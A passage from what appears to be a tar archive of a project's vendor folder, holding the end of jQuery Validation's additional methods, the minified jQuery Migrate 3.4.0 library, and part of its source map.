$.validator.addMethod( "postalCodeCA", function( value, element ) { return this.optional( element ) || /^[ABCEGHJKLMNPRSTVXY]\d[ABCEGHJKLMNPRSTVWXYZ] *\d[ABCEGHJKLMNPRSTVWXYZ]\d$/i.test( value ); }, "Please specify a valid postal code." ); /* Matches Italian postcode (CAP) */ $.validator.addMethod( "postalcodeIT", function( value, element ) { return this.optional( element ) || /^\d{5}$/.test( value ); }, "Please specify a valid postal code." ); $.validator.addMethod( "postalcodeNL", function( value, element ) { return this.optional( element ) || /^[1-9][0-9]{3}\s?[a-zA-Z]{2}$/.test( value ); }, "Please specify a valid postal code." ); // Matches UK postcode. Does not match to UK Channel Islands that have their own postcodes (non standard UK) $.validator.addMethod( "postcodeUK", function( value, element ) { return this.optional( element ) || /^((([A-PR-UWYZ][0-9])|([A-PR-UWYZ][0-9][0-9])|([A-PR-UWYZ][A-HK-Y][0-9])|([A-PR-UWYZ][A-HK-Y][0-9][0-9])|([A-PR-UWYZ][0-9][A-HJKSTUW])|([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))\s?([0-9][ABD-HJLNP-UW-Z]{2})|(GIR)\s?(0AA))$/i.test( value ); }, "Please specify a valid UK postcode." ); /* * Lets you say "at least X inputs that match selector Y must be filled." * * The end result is that neither of these inputs: * * <input class="productinfo" name="partnumber"> * <input class="productinfo" name="description"> * * ...will validate unless at least one of them is filled. * * partnumber: {require_from_group: [1,".productinfo"]}, * description: {require_from_group: [1,".productinfo"]} * * options[0]: number of fields that must be filled in the group * options[1]: CSS selector that defines the group of conditionally required fields */ $.validator.addMethod( "require_from_group", function( value, element, options ) { var $fields = $( options[ 1 ], element.form ), $fieldsFirst = $fields.eq( 0 ), validator = $fieldsFirst.data( "valid_req_grp" ) ? $fieldsFirst.data( "valid_req_grp" ) : $.extend( {}, this ), isValid = $fields.filter( function() { return validator.elementValue( this ); } ).length >= options[ 0 ]; // Store the cloned validator for future validation $fieldsFirst.data( "valid_req_grp", validator ); // If element isn't being validated, run each require_from_group field's validation rules if ( !$( element ).data( "being_validated" ) ) { $fields.data( "being_validated", true ); $fields.each( function() { validator.element( this ); } ); $fields.data( "being_validated", false ); } return isValid; }, $.validator.format( "Please fill at least {0} of these fields." ) ); /* * Lets you say "either at least X inputs that match selector Y must be filled, * OR they must all be skipped (left blank)." * * The end result, is that none of these inputs: * * <input class="productinfo" name="partnumber"> * <input class="productinfo" name="description"> * <input class="productinfo" name="color"> * * ...will validate unless either at least two of them are filled, * OR none of them are. * * partnumber: {skip_or_fill_minimum: [2,".productinfo"]}, * description: {skip_or_fill_minimum: [2,".productinfo"]}, * color: {skip_or_fill_minimum: [2,".productinfo"]} * * options[0]: number of fields that must be filled in the group * options[1]: CSS selector that defines the group of conditionally required fields * */ $.validator.addMethod( "skip_or_fill_minimum", function( value, element, options ) { var $fields = $( options[ 1 ], element.form ), $fieldsFirst = $fields.eq( 0 ), validator = $fieldsFirst.data( "valid_skip" ) ? $fieldsFirst.data( "valid_skip" ) : $.extend( {}, this ), numberFilled = $fields.filter( function() { return validator.elementValue( this ); } ).length, isValid = numberFilled === 0 || numberFilled >= options[ 0 ]; // Store the cloned validator for future validation $fieldsFirst.data( "valid_skip", validator ); // If element isn't being validated, run each skip_or_fill_minimum field's validation rules if ( !$( element ).data( "being_validated" ) ) { $fields.data( "being_validated", true ); $fields.each( function() { validator.element( this ); } ); $fields.data( "being_validated", false ); } return isValid; }, $.validator.format( "Please either skip these fields or fill at least {0} of them." ) ); /* Validates US States and/or Territories by @jdforsythe * Can be case insensitive or require capitalization - default is case insensitive * Can include US Territories or not - default does not * Can include US Military postal abbreviations (AA, AE, AP) - default does not * * Note: "States" always includes DC (District of Colombia) * * Usage examples: * * This is the default - case insensitive, no territories, no military zones * stateInput: { * caseSensitive: false, * includeTerritories: false, * includeMilitary: false * } * * Only allow capital letters, no territories, no military zones * stateInput: { * caseSensitive: false * } * * Case insensitive, include territories but not military zones * stateInput: { * includeTerritories: true * } * * Only allow capital letters, include territories and military zones * stateInput: { * caseSensitive: true, * includeTerritories: true, * includeMilitary: true * } * */ $.validator.addMethod( "stateUS", function( value, element, options ) { var isDefault = typeof options === "undefined", caseSensitive = ( isDefault || typeof options.caseSensitive === "undefined" ) ? false : options.caseSensitive, includeTerritories = ( isDefault || typeof options.includeTerritories === "undefined" ) ? false : options.includeTerritories, includeMilitary = ( isDefault || typeof options.includeMilitary === "undefined" ) ? false : options.includeMilitary, regex; if ( !includeTerritories && !includeMilitary ) { regex = "^(A[KLRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$"; } else if ( includeTerritories && includeMilitary ) { regex = "^(A[AEKLPRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$"; } else if ( includeTerritories ) { regex = "^(A[KLRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$"; } else { regex = "^(A[AEKLPRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$"; } regex = caseSensitive ? new RegExp( regex ) : new RegExp( regex, "i" ); return this.optional( element ) || regex.test( value ); }, "Please specify a valid state." ); // TODO check if value starts with <, otherwise don't try stripping anything $.validator.addMethod( "strippedminlength", function( value, element, param ) { return $( value ).text().length >= param; }, $.validator.format( "Please enter at least {0} characters." ) ); $.validator.addMethod( "time", function( value, element ) { return this.optional( element ) || /^([01]\d|2[0-3]|[0-9])(:[0-5]\d){1,2}$/.test( value ); }, "Please enter a valid time, between 00:00 and 23:59." ); $.validator.addMethod( "time12h", function( value, element ) { return this.optional( element ) || /^((0?[1-9]|1[012])(:[0-5]\d){1,2}(\ ?[AP]M))$/i.test( value ); }, "Please enter a valid time in 12-hour am/pm format." ); // Same as url, but TLD is optional $.validator.addMethod( "url2", function( value, element ) { return this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})+(?::(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)+(?:[a-z\u00a1-\uffff]{2,}\.?)|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff])|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62}\.)))(?::\d{2,5})?(?:[/?#]\S*)?$/i.test( value ); }, $.validator.messages.url ); /** * Return true, if the value is a valid vehicle identification number (VIN). * * Works with all kind of text inputs. * * @example <input type="text" size="20" name="VehicleID" class="{required:true,vinUS:true}" /> * @desc Declares a required input element whose value must be a valid vehicle identification number. * * @name $.validator.methods.vinUS * @type Boolean * @cat Plugins/Validate/Methods */ $.validator.addMethod( "vinUS", function( v ) { if ( v.length !== 17 ) { return false; } var LL = [ "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "L", "M", "N", "P", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ], VL = [ 1, 2, 3, 4, 5, 6, 7, 8, 1, 2, 3, 4, 5, 7, 9, 2, 3, 4, 5, 6, 7, 8, 9 ], FL = [ 8, 7, 6, 5, 4, 3, 2, 10, 0, 9, 8, 7, 6, 5, 4, 3, 2 ], rs = 0, i, n, d, f, cd, cdv; for ( i = 0; i < 17; i++ ) { f = FL[ i ]; d = v.slice( i, i + 1 ); if ( i === 8 ) { cdv = d; } if ( !isNaN( d ) ) { d *= f; } else { for ( n = 0; n < LL.length; n++ ) { if ( d.toUpperCase() === LL[ n ] ) { d = VL[ n ]; d *= f; if ( isNaN( cdv ) && n === 8 ) { cdv = LL[ n ]; } break; } } } rs += d; } cd = rs % 11; if ( cd === 10 ) { cd = "X"; } if ( cd === cdv ) { return true; } return false; }, "The specified vehicle identification number (VIN) is invalid." ); $.validator.addMethod( "zipcodeUS", function( value, element ) { return this.optional( element ) || /^\d{5}(-\d{4})?$/.test( value ); }, "The specified US ZIP Code is invalid." ); $.validator.addMethod( "ziprange", function( value, element ) { return this.optional( element ) || /^90[2-5]\d\{2\}-\d{4}$/.test( value ); }, "Your ZIP-code must be in the range 902xx-xxxx to 905xx-xxxx." ); return $; }));������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery-migrate.min.js�����������������������������������������������������������������0000666�����������������00000032233�15172447206�0013464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery Migrate v3.4.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)||[],o=r.exec(t)||[],a=1;a<=3;a++){if(+n[a]>+o[a])return 1;if(+n[a]<+o[a])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.4.0";var t=Object.create(null),o=(s.migrateDisablePatches=function(){for(var e=0;e<arguments.length;e++)t[arguments[e]]=!0},s.migrateEnablePatches=function(){for(var e=0;e<arguments.length;e++)delete t[arguments[e]]},s.migrateIsPatchEnabled=function(e){return!t[e]},n.console&&n.console.log&&(s&&e("3.0.0")||n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion)),{});function i(e,t){var r=n.console;!s.migrateIsPatchEnabled(e)||s.migrateDeduplicateWarnings&&o[t]||(o[t]=!0,s.migrateWarnings.push(t+" ["+e+"]"),r&&r.warn&&!s.migrateMute&&(r.warn("JQMIGRATE: "+t),s.migrateTrace&&r.trace&&r.trace()))}function r(e,t,r,n,o){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return i(n,o),r},set:function(e){i(n,o),r=e}})}function a(e,t,r,n,o){var a=e[t];e[t]=function(){return o&&i(n,o),(s.migrateIsPatchEnabled(n)?r:a||s.noop).apply(this,arguments)}}function u(e,t,r,n,o){if(!o)throw new Error("No warning message provided");a(e,t,r,n,o)}function d(e,t,r,n){a(e,t,r,n)}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){o={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&i("quirks","jQuery is not compatible with Quirks Mode");var c,l,p,f={},m=s.fn.init,y=s.find,h=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,g=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,v=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;for(c in d(s.fn,"init",function(e){var t=Array.prototype.slice.call(arguments);return s.migrateIsPatchEnabled("selector-empty-id")&&"string"==typeof e&&"#"===e&&(i("selector-empty-id","jQuery( '#' ) is not a valid selector"),t[0]=[]),m.apply(this,t)},"selector-empty-id"),s.fn.init.prototype=s.fn,d(s,"find",function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof t&&h.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(g,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),i("selector-hash","Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){i("selector-hash","Attribute selector with '#' was not fixed: "+r[0])}}return y.apply(this,r)},"selector-hash"),y)Object.prototype.hasOwnProperty.call(y,c)&&(s.find[c]=y[c]);u(s.fn,"size",function(){return this.length},"size","jQuery.fn.size() is deprecated and removed; use the .length property"),u(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"parseJSON","jQuery.parseJSON is deprecated; use JSON.parse"),u(s,"holdReady",s.holdReady,"holdReady","jQuery.holdReady is deprecated"),u(s,"unique",s.uniqueSort,"unique","jQuery.unique is deprecated; use jQuery.uniqueSort"),r(s.expr,"filters",s.expr.pseudos,"expr-pre-pseudos","jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),r(s.expr,":",s.expr.pseudos,"expr-pre-pseudos","jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&u(s,"trim",function(e){return null==e?"":(e+"").replace(v,"")},"trim","jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&(u(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"nodeName","jQuery.nodeName is deprecated"),u(s,"isArray",Array.isArray,"isArray","jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(u(s,"isNumeric",function(e){var t=typeof e;return("number"==t||"string"==t)&&!isNaN(e-parseFloat(e))},"isNumeric","jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){f["[object "+t+"]"]=t.toLowerCase()}),u(s,"type",function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?f[Object.prototype.toString.call(e)]||"object":typeof e},"type","jQuery.type is deprecated"),u(s,"isFunction",function(e){return"function"==typeof e},"isFunction","jQuery.isFunction() is deprecated"),u(s,"isWindow",function(e){return null!=e&&e===e.window},"isWindow","jQuery.isWindow() is deprecated")),s.ajax&&(l=s.ajax,p=/(=)\?(?=&|$)|\?\?/,d(s,"ajax",function(){var e=l.apply(this,arguments);return e.promise&&(u(e,"success",e.done,"jqXHR-methods","jQXHR.success is deprecated and removed"),u(e,"error",e.fail,"jqXHR-methods","jQXHR.error is deprecated and removed"),u(e,"complete",e.always,"jqXHR-methods","jQXHR.complete is deprecated and removed")),e},"jqXHR-methods"),e("4.0.0")||s.ajaxPrefilter("+json",function(e){!1!==e.jsonp&&(p.test(e.url)||"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&p.test(e.data))&&i("jsonp-promotion","JSON-to-JSONP auto-promotion is deprecated")}));var j=s.fn.removeAttr,b=s.fn.toggleClass,w=/\S+/g;function Q(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}d(s.fn,"removeAttr",function(e){var r=this;return s.each(e.match(w),function(e,t){s.expr.match.bool.test(t)&&(i("removeAttr-bool","jQuery.fn.removeAttr no longer sets boolean properties: "+t),r.prop(t,!1))}),j.apply(this,arguments)},"removeAttr-bool"),d(s.fn,"toggleClass",function(t){return void 0!==t&&"boolean"!=typeof t?b.apply(this,arguments):(i("toggleClass-bool","jQuery.fn.toggleClass( boolean ) is deprecated"),this.each(function(){var e=this.getAttribute&&this.getAttribute("class")||"";e&&s.data(this,"__className__",e),this.setAttribute&&this.setAttribute("class",!e&&!1!==t&&s.data(this,"__className__")||"")}))},"toggleClass-bool");var x,A=!1,R=/^[a-z]/,T=/^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;s.swap&&s.each(["height","width","reliableMarginRight"],function(e,t){var r=s.cssHooks[t]&&s.cssHooks[t].get;r&&(s.cssHooks[t].get=function(){var e;return A=!0,e=r.apply(this,arguments),A=!1,e})}),d(s,"swap",function(e,t,r,n){var o,a={};for(o in A||i("swap","jQuery.swap() is undocumented and deprecated"),t)a[o]=e.style[o],e.style[o]=t[o];for(o in r=r.apply(e,n||[]),t)e.style[o]=a[o];return r},"swap"),e("3.4.0")&&"undefined"!=typeof Proxy&&(s.cssProps=new Proxy(s.cssProps||{},{set:function(){return i("cssProps","jQuery.cssProps is deprecated"),Reflect.set.apply(this,arguments)}})),e("4.0.0")&&"undefined"!=typeof Proxy&&(s.cssNumber=new Proxy({animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},{get:function(){return i("css-number","jQuery.cssNumber is deprecated"),Reflect.get.apply(this,arguments)},set:function(){return i("css-number","jQuery.cssNumber is deprecated"),Reflect.set.apply(this,arguments)}})),x=s.fn.css,d(s.fn,"css",function(e,t){var r,n=this;return e&&"object"==typeof e&&!Array.isArray(e)?(s.each(e,function(e,t){s.fn.css.call(n,e,t)}),this):("number"==typeof t&&(t=Q(e),r=t,R.test(r)&&T.test(r[0].toUpperCase()+r.slice(1))||s.cssNumber[t]||i("css-number",'Number-typed values are deprecated for jQuery.fn.css( "'+e+'", value )')),x.apply(this,arguments))},"css-number");function C(e){var t=n.document.implementation.createHTMLDocument("");return t.body.innerHTML=e,t.body&&t.body.innerHTML}var S,N,P,k,H,E,M,q=s.data,D=(d(s,"data",function(e,t,r){var n,o,a;if(t&&"object"==typeof t&&2===arguments.length){for(a in n=s.hasData(e)&&q.call(this,e),o={},t)a!==Q(a)?(i("data-camelCase","jQuery.data() always sets/gets camelCased names: "+a),n[a]=t[a]):o[a]=t[a];return q.call(this,e,o),t}return t&&"string"==typeof t&&t!==Q(t)&&(n=s.hasData(e)&&q.call(this,e))&&t in n?(i("data-camelCase","jQuery.data() always sets/gets camelCased names: "+t),2<arguments.length&&(n[t]=r),n[t]):q.apply(this,arguments)},"data-camelCase"),s.fx&&(P=s.Tween.prototype.run,k=function(e){return e},d(s.Tween.prototype,"run",function(){1<s.easing[this.easing].length&&(i("easing-one-arg","'jQuery.easing."+this.easing.toString()+"' should use only one argument"),s.easing[this.easing]=k),P.apply(this,arguments)},"easing-one-arg"),S=s.fx.interval,N="jQuery.fx.interval is deprecated",n.requestAnimationFrame&&Object.defineProperty(s.fx,"interval",{configurable:!0,enumerable:!0,get:function(){return n.document.hidden||i("fx-interval",N),s.migrateIsPatchEnabled("fx-interval")&&void 0===S?13:S},set:function(e){i("fx-interval",N),S=e}})),s.fn.load),F=s.event.add,W=s.event.fix,O=(s.event.props=[],s.event.fixHooks={},r(s.event.props,"concat",s.event.props.concat,"event-old-patch","jQuery.event.props.concat() is deprecated and removed"),d(s.event,"fix",function(e){var t=e.type,r=this.fixHooks[t],n=s.event.props;if(n.length){i("event-old-patch","jQuery.event.props are deprecated and removed: "+n.join());while(n.length)s.event.addProp(n.pop())}if(r&&!r._migrated_&&(r._migrated_=!0,i("event-old-patch","jQuery.event.fixHooks are deprecated and removed: "+t),(n=r.props)&&n.length))while(n.length)s.event.addProp(n.pop());return t=W.call(this,e),r&&r.filter?r.filter(t,e):t},"event-old-patch"),d(s.event,"add",function(e,t){return e===n&&"load"===t&&"complete"===n.document.readyState&&i("load-after-event","jQuery(window).on('load'...) called after load event occurred"),F.apply(this,arguments)},"load-after-event"),s.each(["load","unload","error"],function(e,t){d(s.fn,t,function(){var e=Array.prototype.slice.call(arguments,0);return"load"===t&&"string"==typeof e[0]?D.apply(this,e):(i("shorthand-removed-v3","jQuery.fn."+t+"() is deprecated"),e.splice(0,0,t),arguments.length?this.on.apply(this,e):(this.triggerHandler.apply(this,e),this))},"shorthand-removed-v3")}),s.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,r){u(s.fn,r,function(e,t){return 0<arguments.length?this.on(r,null,e,t):this.trigger(r)},"shorthand-deprecated-v3","jQuery.fn."+r+"() event shorthand is deprecated")}),s(function(){s(n.document).triggerHandler("ready")}),s.event.special.ready={setup:function(){this===n.document&&i("ready-event","'ready' event is deprecated")}},u(s.fn,"bind",function(e,t,r){return this.on(e,null,t,r)},"pre-on-methods","jQuery.fn.bind() is deprecated"),u(s.fn,"unbind",function(e,t){return this.off(e,null,t)},"pre-on-methods","jQuery.fn.unbind() is deprecated"),u(s.fn,"delegate",function(e,t,r,n){return this.on(t,e,r,n)},"pre-on-methods","jQuery.fn.delegate() is deprecated"),u(s.fn,"undelegate",function(e,t,r){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",r)},"pre-on-methods","jQuery.fn.undelegate() is deprecated"),u(s.fn,"hover",function(e,t){return this.on("mouseenter",e).on("mouseleave",t||e)},"pre-on-methods","jQuery.fn.hover() is deprecated"),/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi),_=(s.UNSAFE_restoreLegacyHtmlPrefilter=function(){s.migrateEnablePatches("self-closed-tags")},d(s,"htmlPrefilter",function(e){var t,r;return(r=(t=e).replace(O,"<$1></$2>"))!==t&&C(t)!==C(r)&&i("self-closed-tags","HTML tags must be properly nested and closed: "+t),e.replace(O,"<$1></$2>")},"self-closed-tags"),s.migrateDisablePatches("self-closed-tags"),s.fn.offset);return d(s.fn,"offset",function(){var e=this[0];return!e||e.nodeType&&e.getBoundingClientRect?_.apply(this,arguments):(i("offset-valid-elem","jQuery.fn.offset() requires a valid DOM element"),arguments.length?this:void 0)},"offset-valid-elem"),s.ajax&&(H=s.param,d(s,"param",function(e,t){var r=s.ajaxSettings&&s.ajaxSettings.traditional;return void 0===t&&r&&(i("param-ajax-traditional","jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),H.call(this,e,t)},"param-ajax-traditional")),u(s.fn,"andSelf",s.fn.addBack,"andSelf","jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),s.Deferred&&(E=s.Deferred,M=[["resolve","done",s.Callbacks("once memory"),s.Callbacks("once memory"),"resolved"],["reject","fail",s.Callbacks("once memory"),s.Callbacks("once memory"),"rejected"],["notify","progress",s.Callbacks("memory"),s.Callbacks("memory")]],d(s,"Deferred",function(e){var a=E(),i=a.promise();function t(){var o=arguments;return s.Deferred(function(n){s.each(M,function(e,t){var r="function"==typeof o[e]&&o[e];a[t[1]](function(){var e=r&&r.apply(this,arguments);e&&"function"==typeof e.promise?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[t[0]+"With"](this===i?n.promise():this,r?[e]:arguments)})}),o=null}).promise()}return u(a,"pipe",t,"deferred-pipe","deferred.pipe() is deprecated"),u(i,"pipe",t,"deferred-pipe","deferred.pipe() is deprecated"),e&&e.call(a,a),a},"deferred-pipe"),s.Deferred.exceptionHook=E.exceptionHook),s}); //# sourceMappingURL=jquery-migrate.min.map���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery-migrate.min.map����������������������������������������������������������������0000666�����������������00000035341�15172447206�0013630 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{"version":3,"file":"jquery-migrate.min.js","sources":["../src/migratemute.js","jquery-migrate.js"],"names":["jQuery","migrateMute","factory","define","amd","window","module","exports","require","jQueryVersionSince","version","v1","v2","rVersionParts","v1p","exec","v2p","i","compareVersions","fn","jquery","migrateVersion","disabledPatches","Object","create","warnedAbout","migrateDisablePatches","arguments","length","migrateEnablePatches","migrateIsPatchEnabled","patchCode","console","log","migrateWarnings","migrateWarn","code","msg","migrateDeduplicateWarnings","push","warn","migrateTrace","trace","migrateWarnProp","obj","prop","value","defineProperty","configurable","enumerable","get","set","newValue","migrateWarnFuncInternal","newFunc","origFunc","noop","apply","this","migratePatchAndWarnFunc","Error","migratePatchFunc","undefined","migrateReset","document","compatMode","findProp","oldAjax","rjsonp","class2type","oldInit","init","oldFind","find","rattrHashTest","rattrHashGlob","rtrim","arg1","args","Array","prototype","slice","call","selector","test","querySelector","err1","replace","_","attr","op","err2","hasOwnProperty","JSON","parse","holdReady","uniqueSort","expr","pseudos","text","elem","name","nodeName","toLowerCase","isArray","type","isNaN","parseFloat","each","split","toString","ajax","jQXHR","promise","done","fail","always","ajaxPrefilter","s","jsonp","url","data","contentType","indexOf","oldRemoveAttr","removeAttr","oldToggleClass","toggleClass","rmatchNonSpace","camelCase","string","letter","toUpperCase","self","match","_i","bool","state","className","getAttribute","setAttribute","origFnCss","internalSwapCall","ralphaStart","rautoPx","swap","oldHook","cssHooks","ret","options","callback","old","style","Proxy","cssProps","Reflect","cssNumber","animationIterationCount","columnCount","fillOpacity","flexGrow","flexShrink","fontWeight","gridArea","gridColumn","gridColumnEnd","gridColumnStart","gridRow","gridRowEnd","gridRowStart","lineHeight","opacity","order","orphans","widows","zIndex","zoom","css","origThis","n","v","camelName","makeMarkup","html","doc","implementation","createHTMLDocument","body","innerHTML","intervalValue","intervalMsg","oldTweenRun","linearEasing","origParam","oldDeferred","tuples","origData","oldLoad","curData","sameKeys","key","hasData","fx","Tween","run","pct","easing","interval","requestAnimationFrame","hidden","load","oldEventAdd","event","add","originalFix","fix","rxhtmlTag","props","fixHooks","concat","originalEvent","fixHook","join","addProp","pop","_migrated_","filter","types","readyState","splice","on","triggerHandler","trigger","special","ready","setup","off","fnOver","fnOut","origOffset","UNSAFE_restoreLegacyHtmlPrefilter","changed","offset","nodeType","getBoundingClientRect","param","traditional","ajaxTraditional","ajaxSettings","addBack","Deferred","Callbacks","func","deferred","newDeferredPipe","fns","newDefer","tuple","returned","resolve","reject","progress","notify","exceptionHook"],"mappings":";AAEmC,oBAAvBA,OAAOC,cAClBD,OAAOC,aAAc,GCCtB,SAAYC,gBAGY,mBAAXC,QAAyBA,OAAOC,IAG3CD,OAAQ,CAAE,UAAY,SAAUH,GAC/B,OAAOE,EAASF,EAAQK,UAEI,iBAAXC,QAAuBA,OAAOC,QAIhDD,OAAOC,QAAUL,EAASM,QAAS,UAAYH,QAI/CH,EAASF,OAAQK,QAjBnB,CAmBK,SAAUL,EAAQK,gBAuBvB,SAASI,EAAoBC,GAC5B,OAAuD,GAlBxD,SAA0BC,EAAIC,GAM7B,IALA,IACCC,EAAgB,uBAChBC,EAAMD,EAAcE,KAAMJ,IAAQ,GAClCK,EAAMH,EAAcE,KAAMH,IAAQ,GAE7BK,EAAI,EAAGA,GAAK,EAAGA,IAAM,CAC1B,IAAMH,EAAKG,IAAOD,EAAKC,GACtB,OAAO,EAER,IAAMH,EAAKG,IAAOD,EAAKC,GACtB,OAAQ,EAGV,OAAO,EAIAC,CAAiBlB,EAAOmB,GAAGC,OAAQV,GArB3CV,EAAOqB,eAAiB,QA0BxB,IAAIC,EAAkBC,OAAOC,OAAQ,MAwDjCC,GAnDJzB,EAAO0B,sBAAwB,WAE9B,IADA,IACMT,EAAI,EAAGA,EAAIU,UAAUC,OAAQX,IAClCK,EAAiBK,UAAWV,KAAQ,GAatCjB,EAAO6B,qBAAuB,WAE7B,IADA,IACMZ,EAAI,EAAGA,EAAIU,UAAUC,OAAQX,WAC3BK,EAAiBK,UAAWV,KAIrCjB,EAAO8B,sBAAwB,SAAUC,GACxC,OAAQT,EAAiBS,IAQnB1B,EAAO2B,SAAY3B,EAAO2B,QAAQC,MAKlCjC,GAAWS,EAAoB,UACpCJ,EAAO2B,QAAQC,IAAK,qCAEhBjC,EAAOkC,iBACX7B,EAAO2B,QAAQC,IAAK,mDAIrB5B,EAAO2B,QAAQC,IAAK,mCACjBjC,EAAOC,YAAc,GAAK,wBAC5B,aAAeD,EAAOqB,iBAIN,IAmBlB,SAASc,EAAaC,EAAMC,GAC3B,IAAIL,EAAU3B,EAAO2B,SAChBhC,EAAO8B,sBAAuBM,IAC/BpC,EAAOsC,4BAA+Bb,EAAaY,KACtDZ,EAAaY,IAAQ,EACrBrC,EAAOkC,gBAAgBK,KAAMF,EAAM,KAAOD,EAAO,KAC5CJ,GAAWA,EAAQQ,OAASxC,EAAOC,cACvC+B,EAAQQ,KAAM,cAAgBH,GACzBrC,EAAOyC,cAAgBT,EAAQU,OACnCV,EAAQU,UAMZ,SAASC,EAAiBC,EAAKC,EAAMC,EAAOV,EAAMC,GACjDd,OAAOwB,eAAgBH,EAAKC,EAAM,CACjCG,cAAc,EACdC,YAAY,EACZC,IAAK,WAEJ,OADAf,EAAaC,EAAMC,GACZS,GAERK,IAAK,SAAUC,GACdjB,EAAaC,EAAMC,GACnBS,EAAQM,KAKX,SAASC,EAAyBT,EAAKC,EAAMS,EAASlB,EAAMC,GAC3D,IACCkB,EAAWX,EAAKC,GAEjBD,EAAKC,GAAS,WAkBb,OAZKR,GACJF,EAAaC,EAAMC,IAKRrC,EAAO8B,sBAAu